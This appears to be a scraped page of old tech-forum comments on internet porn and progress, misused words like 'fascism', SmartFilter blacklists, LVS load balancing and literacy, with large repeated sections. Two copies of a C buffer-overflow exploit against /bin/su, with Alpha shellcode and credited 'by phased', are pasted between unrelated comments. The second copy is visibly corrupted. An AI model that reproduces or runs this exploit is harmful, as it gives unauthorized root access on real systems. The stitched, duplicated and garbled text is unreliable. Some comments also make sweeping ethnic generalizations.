Look, I remember a time when there wasn't Internet Porn. So don't tell me there's no such thing as progress.
I don't dispute that fact, but whether or not the emergence of internet porn as a form of entertainment is "progress" lies distinctly in the realm of the subjective. Nietzsche would argue that such a value judgement is weighted heavily the the artifically constructed moral normality concepts or our Western Christian society. To truly make a meaningful determination, one needs judgement from beyond the realm of "good and evil"; that of the "immoralists", or more properly, the "amoralists".
Every time I think we've reached the end of human progress, someone comes up with something new.
In the Burckhardtian sense, progress is impossible because man's destiny is "to be caught in a perpetual, paradoxical, and painful game - the game of trying, but always failing, to turn mere power into law..." The world can not be "perfected", nor can a state of permanent happiness be created, because human history is an antagonistic/dialectic process.
The Enlightenment gave rise to the belief that man can perfect things, and the real or imagined conclusions of a number of widely read historians who all look at history from a position of belief in progress have done nothing to dispel this myth. Quite the contrary, they've distorted history to support their thesis. They are the deadly enemies of true historical insight because they kill history as it truly occurs in their attempt to fit history conveniently into a pattern of progressive positive change.
Learn what the hell words mean. "The result was the ideal fascist solution." No, actually, it wasn't. "A money machine for insiders" is many things, but that's not fascism. Fascism is a particular political philosophy, not an organization whose politics you don't like.
Infofascist, or Infrafascist? I suppose that would still make them fascist, but not as fascist as all those Ultrafascist organizations out there (*cough* RIAA *cough*)
They have always demonstrated sanity, restraint and professionalism along with thoughtful commentary - unlike certain other well known Linux news sites.
I've always found this site to be useful when preparing presentations. http://www.tomw.net.au/2000/pt.html. It's basically a troubleshooting/tip guide for those preparting a presentation using digital media and/or overhead transparency media.
What do they mean by persecuted anyway? One could argue that the Taliban/Al Qaeda are persecuted political groups...
That's correct, but it could also work for groups like the Falun Gong. The Falun Gong is a religous movement that has suffered much oppression in China.
Random numbers are used extensively within encryption techniques, particularly for generation of keys. As the key is primarily the guardian of your data, it is vital that it is truly random to ensure it can't be guessed or determined by frequency analysis (or other methods).
This is particularly important for block cipher algorithms which use the same key over and over again on successive blocks of data!
Seth Finkelstein has written some software to decrypt the software's blacklist of forbidden sites, and has analyzed what he found. The list of blocked newsgroups is fascinating: sci.archaeology as occult, and comp.org.eff.talk as criminal, for example. He's found "extreme or obscene" sites like hotrails.com ("extreme sports" rollerblading on "naked metal"), gcsextreme.com (custom-built computers for the "extreme gamer," unfortunately at a domain name with both "sex" and "extreme" in it) and extreme-offroad.com (same deal). Their music-critic skills need work too, as they block InsaneClownPosse.com, Tupac.com, Marilyn Manson, and even Chumbawamba's Web site. Every one of these and many more are blocked as "Extreme," which puts them in the same category as photos of mutilated dead bodies, bizarre hard-core pornography and child pornography.
His discussion of the legal risks of decrypting these blacklists is fascinating too, and (as he likes to say) "a topic in itself." He would like to open up the source to his SmartFilter-decryption tool but feels the legal risk is too high. How sad is that?
Here's Secure Computing's definition of the "extreme" category, and the examples they give ("Pixman's Vault of Porn Pix", "Bizarre & Maximum Perversion").
You can confirm Seth's findings using Secure Computing's own SmartFilterWhere. It asks for your name and phone number; you have my permission to make some up. As of December 7, at 9:45 PM EST, that CGI operates with a Control List updated on December 5 and confirms all of Seth's results that I tried. By the time you read this, they may have quickly fixed all the errors he published, loaded in an up-to-the-minute Control List, and proudly announced that their software is now perfect.
Why not just rent your anime ovre the internet? DVDOvernight and Netflix both have a wide selection of anime titles, and with netflix, you can even get a free trial. You rent up to three movies at a time, they mail them to you, and you keep them as long as you want, and when you're finished, you mail them back in a pre-paid envelope they provide. Now you can watch something other than Buffy the Vampire Slayer reruns while sitting alone by yourself in your parents' basement.
Hey, hey...this is MIT we're talking about, not some crass corporation only responsible to its stockholders. MIT students don't use crass corporate software. MIT students create the future!
Are you involved in the project somehow? How do you know this?
I guess my main point is, that for the average U.S. citizen, who tends to have his head in the sand, these things aren't really an issue the same way they are a fact of life in other countries...and as prominent as problems like these are in other countries...is state respect for privacy even something they think about?
Let alone having the government monitor whatever they surf in an internet cafe?
I think they're more used to that sort of thing, just as an effect of all the political/social turmoil that has occured in that part of the world throughout history, and (more importantly) recent history (i.e. last century). They're more accepting of stronger governmental control just because they perceive it as a harbinger of stability.
The people are conservative. They dress well, follow politics, and read a lot. And I'm talking before TV, so don't think of that excuse. They have a much higher literacy rate than other nations such as, oh, the U.S.
Maybe it's due to the general European cultured influence of France, who had colonized them. Or maybe it's the Asian mindset.
I'd say the latter moreso than the former. I've done research on similar issues, and Asian communities generally have higher literacy rates than others, due to cultural factors inherent in Asian society.
For those interested in using LVS for software routing, it's fairly simple. Basically, you patch a stock Linux kernel and use a tool similar to ipchains to establish virtual services. These services forward requests to your back-end real servers according to a flexible ruleset that you design.
You can use NAT to hide the real servers from the Internet if you like. This allows you to use most any web server you like (such as IIS), but more fancy routing tricks can be done with Unix or Linux servers for even better results. We use NAT at our site (university EE department) and it can handle more load than we will ever receive -- our objective is high-availability. Also, you can use different methods for different server clusters on the same director (e.g. tunneling tricks for Linux apache servers, and less magic for IIS).
And LVS can be set up such that once a user connects to a particular server, his subsequent connections go back to the same server.
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Look, I remember a time when there wasn't Internet Porn. So don't tell me there's no such thing as progress.
I don't dispute that fact, but whether or not the emergence of internet porn as a form of entertainment is "progress" lies distinctly in the realm of the subjective. Nietzsche would argue that such a value judgement is weighted heavily the the artifically constructed moral normality concepts or our Western Christian society. To truly make a meaningful determination, one needs judgement from beyond the realm of "good and evil"; that of the "immoralists", or more properly, the "amoralists".
Every time I think we've reached the end of human progress, someone comes up with something new.
In the Burckhardtian sense, progress is impossible because man's destiny is "to be caught in a perpetual, paradoxical, and painful game - the game of trying, but always failing, to turn mere power into law..." The world can not be "perfected", nor can a state of permanent happiness be created, because human history is an antagonistic/dialectic process.
The Enlightenment gave rise to the belief that man can perfect things, and the real or imagined conclusions of a number of widely read historians who all look at history from a position of belief in progress have done nothing to dispel this myth. Quite the contrary, they've distorted history to support their thesis. They are the deadly enemies of true historical insight because they kill history as it truly occurs in their attempt to fit history conveniently into a pattern of progressive positive change.
#include <stdio.h>
/* 0x140010401 */
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47"
"\x11\x14\xe3\x43" "\x20\x35\x20\x42" "\xff\xff\xff\xff" "\x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";
bzero(&buffer, 8239);
bzero(&payload, 15200);
for (i=0;i<8233;i++)
buffer[i] = 0x41;
buffer[i++] = 0x01;
buffer[i++] = 0x04;
buffer[i++] = 0x01;
buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i<15000;) {
for(j=0;j<4;j++) {
payload[i++] = nop[j];
}
}
for (i=i,j=0;j<sizeof(shellcode);i++,j++)
payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
Learn what the hell words mean. "The result was the ideal fascist solution." No, actually, it wasn't. "A money machine for insiders" is many things, but that's not fascism. Fascism is a particular political philosophy, not an organization whose politics you don't like.
fascism: a tendency toward or actual exercise of strong autocratic or dictatorial control.
Dare I say it? No. I'll just quote you: "Learn what the hell words mean."
Infofascist, or Infrafascist? I suppose that would still make them fascist, but not as fascist as all those Ultrafascist organizations out there (*cough* RIAA *cough*)
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
char shellcode[]= "\x30\x15\xd9\x43" "\x11\x74\xf0\x47" "\x12\x14\x02\x42" "\xfc\xff\x32\xb2" "\x12\x94\x09\x42" "\xfc\xff\x32\xb2" "\xff\x47\x3f\x26" "\x1f\x04\x31\x22" "\xfc\xff\x30\xb2" "\xf7\xff\x1f\xd2" "\x10\x04\xff\x47" "\x11\x14\xe3\x43" "\x20\x35\x20\x42" "xff\xff\xff\xff" "x30\x15\xd9\x43" "\x31\x15\xd8\x43" "\x12\x04\xff\x47" "\x40\xff\x1e\xb6" "\x48\xff\xfe\xb7" "\x98\xff\x7f\x26" "\xd0\x8c\x73\x22" "\x13\x05\xf3\x47" "\x3c\xff\x7e\xb2" "\x69\x6e\x7f\x26" "\x2f\x62\x73\x22" "\x38\xff\x7e\xb2" "\x13\x94\xe7\x43" "\x20\x35\x60\x42" "\xff\xff\xff\xff";
main(int argc, char *argv[]) {
int i, j; char buffer[8239]; char payload[15200];
char nop[] = "\x1f\x04\xff\x47"; bzero(&buffer, 8239); bzero(&payload, 15200); for (i=0;i8233;i++) buffer[i] = 0x41;
buffer[i++] = 0x01; buffer[i++] = 0x04;
buffer[i++] = 0x01; buffer[i++] = 0x40;
buffer[i++] = 0x01;
for (i=0;i15000;) { for(j=0;j4;j++) { payload[i++] = nop[j]; } }
for (i=i,j=0;jsizeof(shellcode);i++,j++)payload[i] = shellcode[j];
printf("/bin/su by phased\n");
printf("payload %db\n", strlen(payload));
printf("buffer %db\n", strlen(buffer));
execl("/usr/bin/su", "su", buffer, payload, 0);
}
You can download the source code here.
They have always demonstrated sanity, restraint and professionalism along with thoughtful commentary - unlike certain other well known Linux news sites.
Oh, you shouldn't say that about Slashdot...
I've always found this site to be useful when preparing presentations. http://www.tomw.net.au/2000/pt.html. It's basically a troubleshooting/tip guide for those preparting a presentation using digital media and/or overhead transparency media.
the watch has become a bit of a rare item to find.
tell that to this guy who's selling one for 200 bucks.
Combine this with the world's smallest TV transmitter, and you're all set.
Wired News has a similar interesting article about a cease and desist letter sent to an independant news site by Belo, corporate parent of The Dallas Morning News, forbidding them from linking to individual stories within the site. They claim that the author can only link to the site's homepage, and attempting to link to stories within the site violates their copyright.
Too bad. Next week Time Magazine will require you to read pages 1-36 before reading the article you want on page 37.
What do they mean by persecuted anyway? One could argue that the Taliban/Al Qaeda are persecuted political groups...
That's correct, but it could also work for groups like the Falun Gong. The Falun Gong is a religous movement that has suffered much oppression in China.
Random numbers are used extensively within encryption techniques, particularly for generation of keys. As the key is primarily the guardian of your data, it is vital that it is truly random to ensure it can't be guessed or determined by frequency analysis (or other methods).
This is particularly important for block cipher algorithms which use the same key over and over again on successive blocks of data!
His discussion of the legal risks of decrypting these blacklists is fascinating too, and (as he likes to say) "a topic in itself." He would like to open up the source to his SmartFilter-decryption tool but feels the legal risk is too high. How sad is that?
Here's Secure Computing's definition of the "extreme" category, and the examples they give ("Pixman's Vault of Porn Pix", "Bizarre & Maximum Perversion").
You can confirm Seth's findings using Secure Computing's own SmartFilterWhere.
It asks for your name and phone number; you have my permission to make some up. As of December 7, at 9:45 PM EST, that CGI operates with a Control List updated on December 5 and confirms all of Seth's results that I tried. By the time you read this, they may have quickly fixed all the errors he published, loaded in an up-to-the-minute Control List, and proudly announced that their software is now perfect.
I'm sure some of you would prefer the Windows version of Snort, put together by Silicon defense.
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Just go see it in the theater on Wednesday. It's being shown with Men in Black 2.
Why not just rent your anime ovre the internet? DVDOvernight and Netflix both have a wide selection of anime titles, and with netflix, you can even get a free trial. You rent up to three movies at a time, they mail them to you, and you keep them as long as you want, and when you're finished, you mail them back in a pre-paid envelope they provide. Now you can watch something other than Buffy the Vampire Slayer reruns while sitting alone by yourself in your parents' basement.
Hey, hey...this is MIT we're talking about, not some crass corporation only responsible to its stockholders. MIT students don't use crass corporate software. MIT students create the future!
Are you involved in the project somehow? How do you know this?
I guess my main point is, that for the average U.S. citizen, who tends to have his head in the sand, these things aren't really an issue the same way they are a fact of life in other countries...and as prominent as problems like these are in other countries...is state respect for privacy even something they think about?
Let alone having the government monitor whatever they surf in an internet cafe?
I think they're more used to that sort of thing, just as an effect of all the political/social turmoil that has occured in that part of the world throughout history, and (more importantly) recent history (i.e. last century). They're more accepting of stronger governmental control just because they perceive it as a harbinger of stability.
The people are conservative. They dress well, follow politics, and read a lot. And I'm talking before TV, so don't think of that excuse. They have a much higher literacy rate than other nations such as, oh, the U.S. Maybe it's due to the general European cultured influence of France, who had colonized them. Or maybe it's the Asian mindset.
I'd say the latter moreso than the former. I've done research on similar issues, and Asian communities generally have higher literacy rates than others, due to cultural factors inherent in Asian society.
Well, with Carnivore, what else can we expect?
You can use NAT to hide the real servers from the Internet if you like. This allows you to use most any web server you like (such as IIS), but more fancy routing tricks can be done with Unix or Linux servers for even better results. We use NAT at our site (university EE department) and it can handle more load than we will ever receive -- our objective is high-availability. Also, you can use different methods for different server clusters on the same director (e.g. tunneling tricks for Linux apache servers, and less magic for IIS).
And LVS can be set up such that once a user connects to a particular server, his subsequent connections go back to the same server.
Useful links: